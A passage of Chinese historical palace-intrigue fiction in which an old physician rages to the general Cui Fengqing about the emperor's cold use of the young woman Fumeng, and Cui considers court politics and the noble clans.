老神医气得吹胡子瞪眼,声音不大,却足以让旁边的崔逢青听得清清楚楚,“宫里的太医难道都是饭桶?真诊不出她体内那阴损的玩意儿?还是说……明知故犯?” 他越说越气,猛地一拍旁边廊柱:“老夫早就知道!那狗皇帝对浮梦丫头的所谓‘宠爱’从来都是有条件的!不过是把她当个玩意儿,当个牵制各方的棋子。早知道当年……当年老夫就不该信了他的鬼话,说什么会善待她,保她一世平安顺遂!结果呢?!” 温祁胸口剧烈起伏,眼中满是悔恨与愤怒:“早知道当年,老夫拼着这条老命不要,也该把她带出这是非之地!何至于……何至于让老夫如今要换张脸、换个身份,才能踏进这京城,才能靠近她身边瞧瞧她过的是什么日子!” 他最后几句话几乎是低吼出来的,充满了无尽的懊恼与悲愤,却也透露出他并非第一次入京,他与皇帝、与浮梦,似乎早有渊源,甚至可能见证了浮梦幼时的某些变故。 崔逢青站在一旁,沉默地听着老神医的怒斥。阳光透过廊檐,在他深邃的眼底投下明暗交织的复杂光影。他俊朗的面容上看不出太多情绪,唯有紧抿的薄唇和微微握紧的拳,泄露了他内心的波澜。 温神医的话,进一步印证了他心中的某些猜测,也让他对宫中那位陛下的冷酷与算计,有了更深的认知。而他看向库房那些“赏赐”的眼神,也愈发冰冷锐利起来。 如今皇帝对崔家和他崔逢青依旧处于戒备状态,随时想要找机会拉他下马,兵权拿在手上就像是烫手山芋,既如此不如疯狂一把,一次性炸出皇帝的爪牙…… 如今世家联姻已是常态,皇帝后宫已经塞不下那么多人,世家不愿送人入宫,转向利益联结,一代又一代,世家势力早已错综复杂根生蒂固。 若不是他及时赶回来,此次接绣球的便是卢家幼子。这么些年还是有人看透,皇帝不爱任何人也不信任何人,唯爱权势。 浮梦独自在外,而这座看似平静的将军府,也因宫中的“关怀”和老神医失态的怒斥,愈发阴沉。